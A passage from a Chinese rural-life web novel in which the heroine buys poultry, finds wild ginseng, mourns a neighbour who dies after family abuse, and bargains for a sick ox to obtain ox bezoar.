“无妨,回来再垒也来得及。” 许芷去了王家,站在门外叫人,没直接进去。 王茹娇听到许芷的声音,高兴的跑了出来。 到家门口才想起来跟家里人说一声,她也不回去,直接就在门口喊了声:“我跟小芷出去一趟啊。” 说罢拉着许芷便离开。 身后徐青云担心的交代:“早点回来,别跑太远。” 看着自己的小姑子没心没肺的背影,徐青云低笑着摇摇头。 许芷和王茹娇出了村,沿着河边走。 没走多久,过了官道对面就是上坪村。 卖鸡崽那家在上坪村的村西头,要穿过整个村子往那边去。 因为上坪村的村西头挨着个宽沟,那沟虽然深,但是位置宽阔。 最重要的是,村里的河流过这沟里,养鸭鹅都方便。 所以,那家就将鸡鸭鹅都养在了沟里。 王茹娇特意带着许芷走了上坪村最边上的路,也是上坪村地边上的一条小路,绕路去那家。 不想让许芷碰到许家人。 可偏偏最不想什么,就来什么。 许芷跟在王茹娇后面走着,突然王茹娇转身要拉着她走另一条路,说什么走错了。 她自然不信,抬起头一看,远远的看到柳珍儿带着她那没出息的爹在地里劳作。 柳珍儿嘴里不清不楚的骂着什么,而许富年在一边偷懒,任由她骂。 许芷知道王茹娇是在保护自己,所以她顺着王茹娇的好心,转头要走其他的路。 却不曾想柳珍儿看见了自己,她的一腔怒火好像有了地方安置。 冲上来抓住许芷的手,说什么不让她走。 “你个小贱人还敢回来?既然你回来了,就给我去地里干活!” 许芷甩开她的手,不想跟这种人多说一个字,转身就要走。 可柳珍儿紧追不舍,“你不能走,不能走!” 她说着将手里的锄头猛地砸进许芷面前的地上,差一点就伤到了王茹娇的脚。 要不是许芷眼疾手快拉了一把,估计就要见血了。 王茹娇被自己差一点就负伤这件事吓到了,半天不回神。 而柳珍儿丝毫不在意,她刁钻刻薄的要求着。 “你个死丫头,你爹顶不住一点事儿,你就得替上,他娘的,这么大一块地,就全指望我一个人?” 说着她竟委屈的哭出了声,“这一家子都是我的讨债鬼!” 许芷面无表情的看着她发泄,眉头都不皱一下。 冷声道:“谁顶不住事儿,你就骂谁。谁指望你,你就找谁。跟我说不着。” 柳珍儿哭够了听到这话更是生气,举起手就要打到许芷脸上。 许芷立刻做好反击的准备。 可没等她出手,一个高大的男子抓住了柳珍儿的手。 许芷看过去,那是个跟她长得五分像的男子。 许岸察觉到了许芷的目光,探究的意味浓烈。 可他不敢回看自己的亲妹妹,只是淡然道:“还不快走。” 许芷一听,没有丝毫留恋,拉着王茹娇就走。 身后柳珍儿的骂声骤起:“果然是一个娘胎里出来的,几年不见,你都还护着那个贱丫头。 别忘了这么多年,是谁给你一口饭吃,让你长这么大!” 许岸放开了柳珍儿的手,不反驳也不争辩,拿起地上的锄头,无言的走到了地里。 跟父亲许富年说:“你若是不干,别在这碍事。” 许富年一听,解放一样,立刻离开。 还带着骂骂咧咧不愿意的柳珍儿一起走,他温声细言的哄着妻子,很快就消失在小路上。 而许岸像一头牛一般,闷头在地里干起了活。 这边许芷和王茹娇走了以后,许芷并不知道该往哪走,走到一个交叉路,她停了下来问王茹娇接下来的路。 王茹娇担心的看许芷:“你没事吧?” “没事啊。”许芷回答的很快,脸上没有丝毫的情绪波动。 看起来好像无事发生。 “倒是你,吓坏了吧?” 许芷看着王茹娇的脚说。 王茹娇故作洒脱的“嗐”一声,“我怎么会被吓到,又没有真的伤到我,再说了你救我如此快,我放心的很。” 看着王茹娇逞强的样子,许芷也不拆穿她,只说让她带路。 王茹娇带着许芷走了另外一条路,更绕远了,不过好在这次谁也没遇上。 等到了刘家,许芷先观察了一下,沟里养着的鸡鸭鹅。 看着那些鸡撒欢了跑的样子,还有那肥硕的鸭和鹅,觉得很不错。 两人进了刘家的院子,王茹娇喊道:“有没有人啊,来买你家鸡崽啦。” 刘家媳妇闻言赶紧跑出来,喜笑颜开的问:“两位都买鸡崽吗?” 王茹娇退了一步,指着许芷说:“她买。” “那就来屋里挑挑吧。” 刘家媳妇带着她们俩走到了一个没有窗户的房间,一进步扑面而来的闷热,混着鸡屎味。 王茹娇立刻出来了,只留许芷在里面看,反正她也不买。 刘家媳妇看到,也依旧端着和善的笑,跟许芷介绍道:“姑娘来的是时候,刚好有一批鸡崽才孵出来,活蹦乱跳的,是好苗子。” 说着她走到了屋里的一个竹篱笆围住的地方,掀开上面的被子,让许芷看。 只见几十只黄澄澄毛茸茸的小鸡崽叽叽喳喳的就往掀开的光亮处跑。 许芷看了一眼,这鸡崽确实不错。 当下就决定要了十只。 “你给我挑七只母的,三只公的。” 这么小的鸡崽许芷分不清公母,只能拜托人家挑。 刘家媳妇二话不说进了篱笆里,一边挑一边说:“这公母也好看,母的屁股后面是圆的,公的尖。” 说话间已经逮了四只小鸡,放进了竹笼里。 许芷听了分辨的方法,自己上手试了试,只是没试出个结果。 她连摸了四只小鸡,都分不清到底圆还是尖。 果然,专业的事情还是要专业的人做。 第31章 有大水缸 挑好了小鸡后,许芷又想看看有没有鸭崽和鹅崽。 她们离河边近,养鹅养鸭也可以。 许芷又被带着去了另外两个暖房里,看了看鹅和鸭子。 最后许芷决定要了十只鹅崽。 她觉得鸭子有些聒噪,还是养鹅的好。 而且鹅蛋大些,一顿吃不了几个都够。 除此之外,她还买了十斤鸡蛋。 刘家媳妇看着许芷买东西果敢大方的样子,试探着问:“姑娘,我们这里还有腌的咸鸭蛋,你看需要吗?” 许芷思考了下,若是早上省事的话,光煮个粥蒸几个咸鸭蛋吃也不错。 她就同意了,问了下怎么卖。 刘家的咸鸭蛋是整缸卖的,一缸大概十斤。 卖鸭蛋送缸。 许芷一听这可以,立刻决定要一缸。 听到许芷买的这么干脆,刘家媳妇送了许芷两个鹅蛋。 鸡蛋一斤十二文,十斤一百二十文。 咸鸭蛋一缸二百文。 一只鸡崽八文钱,十只八十文。 一只鹅崽十六文,十只一百六十文。 许芷买了这些,一共是五百六十文。 刘家媳妇除了送鸭蛋,还送了许芷一个竹笼,将她买的鸡崽和鸭崽都装了进去。 买好后,许芷跟王茹娇就打道回府。 走在路上,许芷又开始算起了自己的钱。 她拿出了九百二十七文买家用,卖货郎那里花了三百五十文,加上这花的五百六十文。 一共是九百一十文,还剩下十七文。 许芷一下有种掏空了自己的感觉,钱真是不经花,还难挣。 但好在她们种了菜,又买了这些鸡崽鹅崽。 熬过这些时日,以后吃饭上就不太愁了,也不用花啥钱。 买的鸡蛋许芷给了王茹娇十个,王茹娇说什么都不肯收。 还是许芷说要是把她当朋友就必须收下,王茹娇这才收下了。 两人到了村口就分开了,走到山坳口,许芷故意没急着进去。 而是看了看四周没人,她将乾坤屋里的大水缸拿了出来。 还有水桶和其他一些用具。 没着急拿着东西回去,而是进屋叫祖母。 推开门的时候,看到祖母慌乱的藏着什么。 许芷愣了一下,说道:“祖母,我买了好些东西,拿不了,快来帮帮我。” 邓老太寻思着买鸡崽能有多少,可当她看到水缸的时候,愣在原地,半天难以接受。 “你、你哪买的大水缸?” 许芷面不改色的撒谎:“卖货郎。” “你不是去买鸡崽了?” 邓老太更疑惑了。 “买鸡崽回来的时候又见了个卖货郎,我看咱缺个水缸和水桶,就顺带着买了。” 许芷淡定的说着。 邓老太觉得难以想象,她实在是想不通,她这瘦如竹竿的孙女怎么把这些东西拿回来的。 可东西已摆在眼前,现下不是说这些的时候。 她们祖孙俩将东西,一点点拿了回去。 许芷本想着撒谎说自己将水缸滚回来的,可是要放倒滚回去的时候,才知道自己的想法多幼稚。 但是已然如此,做不到也要做。 她硬挺着将水缸放倒,滚着回去,还故作轻松地对祖母说:“这样滚回来轻松的很。” 邓老太呆滞的点了点头,帮着许芷把水缸立在了灶台旁。 买回来的鸡崽和鹅崽,今天并不打算拿出来。 这个竹笼不算小,鸡崽鹅崽先在里面活着没问题。 等到小舅舅回来垒了鸡窝再把它们放出来。 看到许芷还买了那么多的鸡蛋和咸鸭蛋,邓老太忍不住说道:“你这孩子买东西如同泼水般,怎得买这么多,得花多少钱。” 许芷淡然的说:“买的多能少跑几次,合算。” 到底是孙女自己挣的钱,邓老太想说但不多说。 她不是想占着孙女的钱不让花,而是觉得许芷太辛苦了。 而且更想让许芷把这些钱存下,这样许芷以后更有保障些,都花完了以后怎么办? 那山上的草药也不是无穷无尽的。 许芷不想听这些省着花的话, 从前她常听一句话,钱是穷种,越花越涌。 只有舍得花钱,钱才会愿意进家门。 同时她现在也想进乾坤屋里做药丸,索性说了句自己累了,躺床上歇去了。 一做起药丸许芷就有些不知时间,等到再睁开眼睛的时候,已经是傍晚。 米粥的香味飘进了屋里,许芷起了身。 走出来,看到祖母在灶台前忙活着。 “祖母今晚吃什么。” 邓老太转头看到孙女起来了,笑着说:“早上剩的米粥,我添了水热一热一样喝,带着在篦子上热了包子,蒸了咸鸭蛋。” 许芷下意识的说道:“祖母,不是买了腊肉,怎么不炒了吃?” 邓老太笑她馋嘴。 “傻丫头,哪能一下子都吃完了,你要是想吃荤的,我给你炒个鸡蛋。” 许芷点点头,这也使得。 炒鸡蛋快得很,邓老太拿出来了四个鸡蛋出来炒,不消一刻饭已经端上了桌。 邓耧子回来的时候,看到凳子惊讶不已。 “这哪来的马扎啊?” 邓老太给儿子打了水洗手洗脸,说道:“小芷买的。” 邓耧子讶异的看了眼许芷,许芷淡定的拿起包子开始吃饭。 他又观察了下屋子里,多了不少的东西。 虽然心里已经有了答案,但还是问道:“这水缸什么的都是你买的?” 许芷淡定的点了点头,又拿了一个包子吃。 云淡风轻的问小舅舅:“舅舅不饿吗?我已经吃两个包子了。” 邓耧子颇为震撼,自己这个外甥女现在厉害得很,比他这个儿子都能行。 只是干了一天的活,饥肠辘辘的他想不得更多,也跟许芷一起埋头吃饭。 看到桌子上的鸡蛋,想到了许芷炒的鸡蛋,阴影还在,踌躇着不敢直接夹。 许芷看到幽幽来了句:“鸡蛋是祖母炒的。” 邓耧子见自己被拆穿了,尴尬一笑,没有犹豫的夹上鸡蛋就吃。 还找补道:“我刚刚是噎到了,所以才停顿一下。” 许芷并不拆穿小舅舅这蹩脚的借口,淡淡嗯了声,伸手又要去拿一个包子。 结果被祖母拦住了。 “好吃也要悠着点,晚上要睡了吃这么多容易睡不着。” 许芷想着晚上睡觉前再去做药丸。 做药丸耗心力,每次做完都觉得饿,所以才多吃些。 只是祖母不知其中缘由,她也不想多说,就顺着祖母的话停了手。 第32章 找到人参 第二日,许芷破天荒的睡了个懒觉。 都日上三竿才打着哈欠起床。 实在不是她偷懒,是她昨晚做起药丸就忘了时间。 觉得差不多困了的时候,已经到了后半夜。 她走出房门,看到祖母正在菜地里薅草,看到外孙女起来了。 邓老太笑着说:“灶上给你留了饭,快洗洗吃。” 许芷看着祖母弯腰劳作的样子,担心的说:“您的腰还伤着,让我来就行,您快出来歇着。” 邓老太摆摆手,浑不在意,“贴了那药好多了,快去吃饭,不要管我。” 许芷不舍得让祖母累着,硬是把祖母从菜地里拉了出来,才愿意去吃饭。 邓老太坐在柿子树下,苦笑着怪道:“你这孩子,祖母马上成无用之人了。” 许芷晃了晃手里的包子,“祖母给我做饭,怎么会无用。” 吃过饭,许芷再度上了山。 她总不能一直装睡做药丸,还是得上山看看。 金银花下一茬花开到下个月了,所以她不用再去看。 许芷还是往深处去,尤其是之前找到白茅根和茵陈的地方。 她又找到了不少的白茅根和茵陈,装满了一箩筐之后,就打算下山了。 正走着,突然脚下一滑,没站稳的她滚落在地。 虽然不是陡峻的地方,再缓也是从坡上滚下来的。 许芷慌乱中拼命抓住身侧能抓住的东西,想要挡住自己,却都是徒劳。 很快她撞上了一棵大树。 倒是停了下来,可是背上传来的剧烈疼痛,让她根本起不来。 许久,背后的疼痛消减许多,她才缓缓趴着想要起来。 却在这个时候看到了意想不到的草药。 人参。 许芷生怕自己看错了,凑近了去看。 果然是人参叶,上面还有红色的人参果。 植株上一共七片叶子,这证明这个人参起码是五六年的。 许芷有心想移栽,野生的人参难得。 可是现在这个月份正是人参吸收养分的时候,不宜移栽,也不能采摘。 要真做些什么得等到过了夏才行。 许芷观察了一下附近的地形,本就是深山里,又是一个凹陷的地方,隐秘性可以。 估计没人会发现这根人参。 许芷雄心勃勃的期待着秋天来把这根人参挖走。 这样想,觉得这一跤摔的也算值得,要不然还发现不了这人参。 有了盼头的许芷下了山,将洗好的草药晾好,打算又去假寐,实则做药丸。 但是邓老太叫住了她。 “小指儿啊,跟祖母去张家一趟。” 许芷愣了一瞬,才想到什么,问道:“张奶奶回来了?” 邓老太嗯了一声,拿了六个鸡蛋带着许芷去看望。 祖孙俩刚到张家,就听到张家在吵架。 李春草尖利的声音好像要冲破房顶。 “什么还钱?那丫头交了钱是她心虚,就是她晦气才让婆母病重。” 张立柱的声音装满了无奈。 “这事跟人家有什么关系?明明是你们想要讹怀清堂,故意把药熬坏了,硬生生把母亲的病拖到这种地步。 小芷不计较你的敲诈,也没有抓着你伤了人祖母不放,还好心的帮忙垫了钱,这钱我们应该还。” 李春草冷笑一声:“你这么为那丫头说话,别是看上了那个鬼媳妇。” 听到这不像样的话,张立柱恼的头都是涨的。 “你怎能如此胡说八道!” 李春草看着张立柱恼羞成怒的样子,没有丝毫的害怕,反而揶揄一笑。 “如此恼怒,只怕是戳中了心事才这般。” 眼见无法跟嫂子沟通,张立柱放弃了解释,只说让她一起兑钱还给许芷。 李春草丝毫不买账,无赖的说道:“又不是我求她交的钱,你要是心里过意不去你就去还钱,我是不会出一点钱的。” 说完,睨了一眼堂上坐着的张老太,此刻身子塌的没有一点精气神。 她走到了张老太身前,看着婆母深陷的眼窝,凑近了低声咒道: “你个死老婆子,可真能撑啊,非要把你儿子的血汗都吸干了才肯罢休是嘛?生了病就赶紧去死,别耽误你孙子的好日子。” 话音落下,手放在了自己的小腹上。 张老太浑浊的眼睛有了一丝光亮,可抬眼看着儿媳妇狰狞的面孔,她垂下了头。 “你!” 张立柱被气得说不出一句完整的话。 许芷跟祖母就是这个时候进了屋。 邓老太将手里的鸡蛋放下,笑着说道:“我来的不凑巧,这是给老姐姐的鸡蛋补身子,送到我们祖孙俩就走了。” 走之前,她特意宽慰张老太放宽心,别想太多,身子养好了才能不拖累子孙。 李春草忙将鸡蛋收了起来,却还是轻嗤一声。 “自己都是泥菩萨,装什么?” 许芷扶着祖母正要出去,听到这话,扭脸给了李春草一个冰冷的眼神。 还是邓老太拍了拍她的手,轻声说:“别跟这种人多攀扯。” 许芷本也不打算真的做什么,嗯了一声,乖巧的带着祖母回家。 刚出了张家门,张立柱追了上来。 “婶子,小芷?” 祖孙俩停下,邓老太问他有何事。 张立柱歉疚的跟两人道了歉,还跟许芷保证一定会把钱还上。 许芷闻言嗯了声,怕对方为还钱操之过急,不走正道,还特意说了句不着急。 如此细心地样子,让张立柱感动不已。 “婶子,小芷,以后若有什么事用得着,一定别怕麻烦我。 别的不敢说,这一身的力气,帮你们干干活还是行的。” 邓老太点点头,让他快回去照看母亲。 看着张立柱转身回了家,祖孙俩才又晃晃悠悠回去。 到了家,许芷进屋就往床上躺。 这次的药粉多,她还想上山,就得多找时间弄。 而邓老太看着许芷动不动就躺下,并不说什么,反而还鼓励她多睡会儿。 等到许芷再睁开眼,已经夜幕降临。 她活动了一下酸胀的胳膊,随口问祖母要吃什么饭。 邓老太笑的和煦,“醒啦。” 许芷听到有些尴尬摸了摸脖子,心想祖母会不会觉得自己懒。 动不动就躺着睡,一睡还好几个时辰。 她抿抿唇解释道:“我是今天上午上山累了,才睡得久些。” “嗨呀,你这孩子,睡就睡了,我还巴不得你多歇歇,要是跟之前那样上山那么勤,我也担心你吃不消。” 邓老太说着给孙女嘴里塞了块自己刚炒好的腊肉。 第33章 素青衣裙 瞬间,许芷的口中盈满油脂的香味,她微微勾唇,夸赞好吃。 知道孙女嗜荤腥,所以邓老太每顿饭都要做点。 而晚上邓耧子回来带了两条鱼,说是干活的时候太热了,下河里洗一洗逮到的。 因为今晚的饭已经做好了,所以这鱼就先放了起来,打算明天做。 次日,邓老太正在熬鱼汤,许芷刚洗把脸过来要帮祖母添柴做饭。 却看到王茹娇急匆匆的赶过来,脸色异常难看。 许芷问:“娇娇你咋了?” “张家婶子...走了。” 这话好像烫嘴,王茹娇说出口都难受。 一听这个,祖孙俩都愣在了原地。 明明昨日去,人还好好的坐着,怎得今日就走了? 邓老太不敢相信的问:“是立柱他娘?” 王茹娇沉重的嗯了一声。 “怎么会呢?” 邓老太有些站不住,许芷赶紧扶祖母坐在马扎上。 还伸手在祖母的背后顺着气,帮助祖母调整着呼吸。 许芷皱着眉问怎么回事。 王茹娇缓缓地说道:“今早,张二哥去叫张婶子起来吃饭,却怎么都叫不应,撞开门看到张婶子吊着,人都硬了......” 说到这,声音越来越小,转而惋叹:“张婶子那么好的人,怎么会想不开呢?” 许芷料想,应当与昨日儿子间的冲突脱不开关系。 锅里熬的鱼汤也没心思喝了,祖孙俩收拾了一下,跟王茹娇一同去张家看看。 还未进门,就能听到张立柱和张铁牛撕心裂肺的哭喊声。 听的许芷心里也有些沉重。 张家老太太一向与人为善,除了大儿子在村里风评不好,另外两个儿子也是良善之人,时常帮助别人。 所以听到这个消息,村里人大多都过来看看有没有能帮忙的。 许芷走到张家门口,张立柱正在痛哭着迎来的人。 “节哀。” 许芷说不出什么安慰人的话,只有这两个字。 张立柱眼泪如流水,嗯了声,让她们进去。 王茹娇一进去就找张铁牛安慰去。 而许芷陪着祖母见了张老太最后一面。 邓老太没让许芷进来,只她自己进屋见了见。 在门外等祖母的时候,许芷听到旁边小间里的李春草丝毫不难过,反而语气中透着痛快。 “死老太婆,终于舍得走了,自己生了病,花钱不说,还要我端屎端尿的伺候她,真是恶心。” 而她的丈夫张丰收低声警告她:“小声些,别让别人听到,我可不想落个不孝的名声。” 许芷听到心绪复杂,昨天的吵闹,应是让张老太觉得自己是个累赘,所以才会...... 思索间,邓老太出来,拉着她的手跟张家兄弟道了别就要回家。 他们村子谁家有白事,一个家族的和关系近的都会来帮看。 而许芷她们祖孙俩帮不上什么,就只能先走。 等到下葬那天再来。 回去的路上,许芷明显能感到祖母低沉不少。 到了她们这个年纪看生死之事,嘴上说的一个比一个洒脱,可是真的看到身边的人走,心里的落寞掩盖不住。 到了家,许芷因为受这件事的影响,又看着祖母的样子。 怕祖母也想得多,特地对祖母道:“祖母,你说过要护着我,可不能食言。” 邓老太当然知道孙女这是什么意思,她慈爱的抚上孙女的面庞,保证道:“放心,小指儿,祖母还要看到你成亲,还要抱重外孙呢。” 许芷重重的嗯了声,语气笃定的强调:“一定。” 张家定在第三日下葬。 这一日,邓耧子特意没去上工,也去帮忙抬棺。 许芷跟祖母去上了礼。 本来许芷要用自己的钱,但是祖母说什么都不让。 没办法,只好随祖母的想法了。 葬礼过后,听说张家的兄弟立刻分了家,还因为分葬礼的礼金和家里的东西不满意闹了一场。 最后还是里正去主持公道,才将事情压了下来。 张立柱和张铁牛兄弟两个跟着邓耧子去做工赚钱,不再围着家里的地转。 春天太和煦,以至于走的让人无所察觉,等到人们意识到已经是躁动的夏天,热的漫长。 许芷的小金库已经存了十两。 夏日炎热,她更愿意往山上跑。 金银花一月一开,虽然没有头两茬花值钱,但好歹也能有所进账。 到了夏天,山上漫山遍野的薄荷。 许芷采了很多,一部分吃,一部分当草药买。 除了这两样,许芷还能找到些香薷和佩兰,也都是时令草药。 虽不多,倒是能维持家用。 而她因为药丸制得好,不过两月黄药师就给她涨了工钱。 从一两银涨到了一两五钱。 这一日,许芷刚下了山,正收拾着薄荷,听到祖母叫自己。 “小指儿,快来,看看这什么?” 祖母的语气有些急切,许芷以为夏日多蚊虫,怕是什么毒物别伤了祖母。 许芷赶忙进了屋,却看得祖母手里拿着一件清新脱俗的素青色衣裙。 邓老太高兴的拿着衣服在她身钱比划,满意的点点头。 “不错,好看。” 随即催着许芷上身试试。 许芷听话的换上了衣服,邓老太转着圈的欣赏。 “怎么样,满意不?” 她期待的看着孙女的脸说着, 许芷抬起手看了看这套衣裙,半天来了句:“不耐脏。” 一句话让邓老太笑容僵在了脸上:“你这孩子,好看就行了,说什么脏不脏的。” 她年龄大,眼睛不行了。 做起衣物本就慢,又躲着许芷做,想给她个惊喜。 一来二去,竟做到了这时候,不过这颜色现在穿也正好。 跟这夏日山间青色相配。 而许芷这些时日,只有一身衣服,没办法就穿祖母的衣服。 明明是个少女,每天给自己弄得老气横秋。 看的邓老太和王茹娇着急,偏偏她本人不在意,只说能穿就行。 这下有了新衣服,邓老太高兴得很,用剩下的碎布头还给许芷做了同色系的头绳。 说什么也要给许芷梳个发型。 许芷本想拒绝,可看着祖母兴致勃勃的样子,拒绝的话还是咽了下去。 任由祖母给自己梳发髻。 邓老太也不是大户人家的梳头娘,太复杂的发髻也不会,就梳了个简单的双平髻。 如此,许芷终于看着像这个年龄的少女了。 许芷平日里多一条粗辫子就打发了,还不是很习惯这样的发髻。 她正别扭着,听到有人往山坳走。 第34章 生病的牛 “婶子,小芷,我来了。” 话音落下,张立柱的身影出现在山坳口,手里还提着虾蟹。 这个时候河里的虾蟹正盛,下河摸的人不少。 许芷觉得别扭,不想让别人看到自己这样子,接过虾蟹,打过招呼就躲进了房间去。 而张立柱自然看到了许芷这清新靓丽的样子,眼前倏然一亮。 想夸赞两句,却没机会。 只能对邓老太说:“婶子,我来还钱。” 说着给了邓老太一两三钱,“您点点婶子,当时小芷给我们垫了这么多。” 邓老太直接收下了,并未查看。 “柱子,说这话就见外了。” 钱送到,张立柱没事就回了家。 回家前,路过窑洞,往里面看了一眼。 没想到跟许芷清冷的眼神对上了,他瞬间躲开眼神,脚步加快回了家。 这边张立柱前脚刚走,后脚王茹娇就过来了。 看到许芷穿了新衣服,抱着她不松手。 “这就对了嘛,小芷,这颜色很衬你。” 许芷将自己挣脱出来,距离王茹娇远了些,说道:“我嫌这颜色太浅了,不耐脏。” 王茹娇一听,气笑了都要。 “你呀,这话可别让婶子听见。” 许芷听到表情有些不自然,王茹娇一下就猜到了什么。 恰好此时,邓老太过来,王茹娇好笑的跟她说:“婶子,下次别给小芷做衣服了,给我做,我不嫌不耐脏。” 邓老太笑着应承下来。 “就是,给娇娇做,娇娇定能夸得我找不着北。” 玩笑话说过,邓老太跟许芷说:“下午别去山上了,跟我去地里翻翻红薯秧子。” 许芷家里那两亩地,最后还是种了土豆和红薯。 她的钱还不够大批量种植药田,地又不能在那荒着。 不如就种点吃的,冬天了有存粮。 而翻红薯秧是因为红薯的叶和藤长得快,过于茂盛会挡住了下面的红薯生长。 故而要翻秧,让下面的红薯也能照太阳。 同时也能让快速生长的叶和藤蔫吧一批,不跟地里的红薯抢养分。 要是不翻秧,地里的红薯极有可能长不大,还歪歪扭扭的,难看又难吃。 “那我也去。” 王茹娇颇为积极。 邓老太当然愿意,说晚上要给王茹娇炒虾吃,感谢她帮忙。 王茹娇一听更高兴了,干劲儿十足的往地里去。 三个人很快就到了地里,今天是个阴天,没那么热。 要不然这个时候来地里,太阳正当头,干一会儿都热的人发昏。 许芷没着急下地,先站在一边看了看祖母和王茹娇怎么弄的。 学了学才下地开始干活。 王茹娇这丫头活泼,干活嘴上都不带歇着的。 东拉西扯的跟许芷她们祖孙俩讲村里听来的各种事,或者就是自己哥哥在城里遇到的事情。 邓老太还会附和两句,聊着解闷。 许芷纯听着,一句话不插的。 直到听到了王茹娇抱怨。 “这几日夜里,三叔家的牛跟疯了一样,一到晚上发了疯的叫,弄得我都睡不好。” 王茹娇的三叔跟她家是邻居。 本来许芷还没太在意,邓老太还给王茹娇出招。 “娇娇,你晚上往耳朵里塞点棉花,这样睡得香。” 王茹娇先是谢了谢邓老太,继而又道: “不过也不用我忍太久,那牛应当是病了,瘦的可怜,估计活不了几天。” 许芷一听这个来了精神,瞬间抬起头问王茹娇。 “那牛是不是眼睛发红,不好好吃草,光喝水?” 王茹娇眼睛亮晶晶的看向许芷,惊叹道:“小芷,你怎么什么都知道啊,就是这样的。” 果然,许芷心想,这牛确实是生病了。 但它体内应当是有了牛黄才会如此,这可是珍贵药材。 王茹娇还在说:“我三叔还可惜呢,这牛病了就是死了也吃不了肉,只能丢了。” “能吃。” 许芷笃定的说道。 “病了的牛还能吃啊,万一吃死人了怎么办?” 王茹娇听到并不相信,还很担心的问道。 许芷笑了笑没过多解释,只说要王茹娇带她去看看牛。 看着许芷那感兴趣的样子,王茹娇突然脸色变得有些奇怪,眼神有些惊恐地看着许芷。 看的她有些毛毛的,许芷不解的问:“干嘛这么看着我?” 王茹娇神兮兮的说道:“你可别告诉我,你会给牛治病。” 许芷本来还很认真的听王茹娇说话,一听这话,直接笑出了声。 不是真的觉得好笑,而是不知道该说什么。 她无奈的看着王茹娇,故意逗她说:“你猜的不错。” 王茹娇得到了肯定的回答,整个人都有些懵了,看向许芷的眼神更加佩服。 看她这样子,许芷摇了摇头,继续翻秧。 翻秧这活除了老弯腰,也不费什么力气,干起来快得很。 不过半下午,三人就将这一亩多的地翻完了。 回家之后,得了消息的许芷一刻都不想等,立刻又出发跟王茹娇一起去她三叔家。 到了三叔家,王茹娇嘴甜的叫着人,许芷在身后跟着打招呼。 三叔听了两人的来意,热情的带着许芷去后院牛棚里看。 去的时候三叔语气里还都是惋惜。 “唉,这头牛跟了我家好多年,从前下地干活都不用人赶,如今生了病,草都不吃了,我看着心疼。” 到了后院,许芷一看这牛瘦的都有些干瘪,牛毛直立,眼角挂着泪,牛嘴还是黄色的。 倒是很符合有牛黄的特征,只是她还需要确认一下。 许芷问三叔:“请问,我能摸一下它吗?” 虽然不知道许芷摸牛干什么,但是三叔还是人很好的同意了。 许芷走上前,先是观察了一下牛棚里牛的粪便,稀得很。 她又走到了牛头前,掰开了牛嘴,数了下牛的牙齿有九颗。 这下她非常确认,这头牛的身体里就是有牛黄。 若要取牛黄就必须杀牛,她想把牛买下来。 许芷走出来,问三叔:“您老要不要把这头牛卖给我?” “卖?” 王三叔有些不相信,指着牛说:“这牛都病了,还瘦成这样,你买回去干啥啊许丫头?” 说完为难的看了眼王茹娇,还是跟许芷说:“咱都是一个村的,论辈分我都是你祖父,哪能坑你啊。” 第35章 一百两啊 许芷淡然一笑,“没事,这牛我出一百两银子您卖给我,我要在这牛体内取一样东西,取完之后剩下的都是你的。” 这王三叔更不敢答应了,这许丫头只是取牛身上的一块,就敢给他一百两。 那可是一百两啊! 庄户人家一辈子都难见一百两。 这钱来的实在是受之有愧。 许芷还说道:“这牛确实是生病了,但我保证,除了我拿走的那块东西,剩下的部位一点事没有,你们吃也好卖也好,都可以。” 她这笃定的样子,让王三叔有些犹豫了。 他心里还是有些发虚,狐疑的问许芷。 “此话当真?” “自然当真。” 许芷异常肯定。 王三叔心中有些意动,但面上跟许芷说还要考虑考虑。 许芷也不急于促成,只说让他慢慢考虑。 要走的时候,许芷跟王三叔说:“您要是考虑清楚了,让娇娇来找我,我先付你十两定金。” 王三叔嗯了声,送走了两人。 王三婶从地里回来,看到许芷和王茹娇走了,好奇的问丈夫,这俩人来干啥。 王茹娇来她不好奇,但是许芷就不一样了。 许家发生的事情,全村都知道。 自从那之后,许丫头跟变了个人一样,见谁都是一副陌生样子。 还跟邓老太两个人搬去了远离村子的山坳里住。 听说日日往那山上跑,那山上都是草能有啥好东西。 村里人私下都说许丫头被夺魂了,上山就是想往那阴气重的地方待。 所以见到许丫头好多人都偷偷避着点。 平日里也甚少见许芷往谁家去。 所以今日见到她过来,自然是好奇的很。 王三叔没妻子想的这么多,把许芷今日来的目的跟妻子说了一遍。 王三婶一听,还有这种好事。 当即说要同意,让他去找许丫头说。 可是王三叔还是觉得这钱来的太容易,跟坑了许丫头一样。 都知道她们祖孙俩过的不好,怎么可能拿的出一百两。 就算拿的出,他脸一抹同意了,祖孙俩过的不好他过意不去啊。 王三婶听到丈夫的顾虑,生气的说:“病了的牛白给人家都不要,如今许丫头愿意出百两,还不趁此机会赶紧卖了。 况且也不是咱们坑她,是她自己摸上门非要买的,不存在强买强卖,你还有啥好考虑的。” 最后还是王三婶一锤定音,让他去给许芷说,他们家同意卖牛。 王三叔拗不过妻子,只能说明日去找许芷说。 这边王茹娇从王三叔家出来的时候,就跟家里说了今晚要在许芷家吃饭。 徐青云听到给她装了点腌萝卜,哪能空手去别人家吃饭。 回到山坳,邓老太已经在准备晚饭了。 现在许芷老是中午会饿,所以她们祖孙俩每日吃成了三顿饭。 早饭吃得早,午饭吃得少,晚饭就正常。 今天中午,俩人吃的面,晚上邓老太就煮了米饭。 她力求每天起码有一顿让许芷吃上米饭。 下坪村地处中原,远离江湖海,故而在鱼虾蟹上吃法很单调。 一般都是清蒸的多,富庶人家蒸完还会配上一碟酱油蘸着吃。 亦或者是口重的红烧。 今晚邓老太选择的做法就是清蒸,虾蟹都放在蒸屉上蒸熟了直接吃。 掐了把地里的韭菜,配着炒了个鸡蛋。 摘了两个新长出来的嫩瓠瓜,炒了个素菜。 带上王茹娇拿来的腌萝卜,满满当当四个菜。 四人吃的那叫一个满足。 次日一早,王三叔就来到山坳。 邓老太还以为自己看错了,毕竟村里人主动来山坳的少之又少。 她迎上去,客气的寒暄两句,也就不藏着掖着,直接问对方来干什么。 王三叔客气的说:“嫂子,我来找你家许丫头。” 邓老太虽然疑惑,但是想到昨天地里许芷跟王茹娇聊的东西,估计跟那个有关。 她让对方稍等,回去叫人。 许芷还睡着,昨晚做药丸又是忘了时间。 被叫醒的许芷,本来还迷糊着,一听是王三叔来了,瞬间清醒。 赶紧跟着出来,笑着问:“您考虑好了?” 王三叔还是有些不好意思,“这,算我们占了你的便宜。” 许芷有些不好意思,实际上应当是她占了大便宜。 她干脆的将自己好不容易存够的十两拿了出来,一点不犹豫的给了对方当定金。 王三叔讪笑着收下,没在山坳多待,急匆匆的回去了。 没多久,他就把牛牵过来给了许芷。 邓老太看着面前瘦到恍若见骨的牛,很是不理解。 “你昨日跟娇娇去她三叔家,就为了买这个牛?” 许芷嗯了声,将牛牵到了树下拴着。 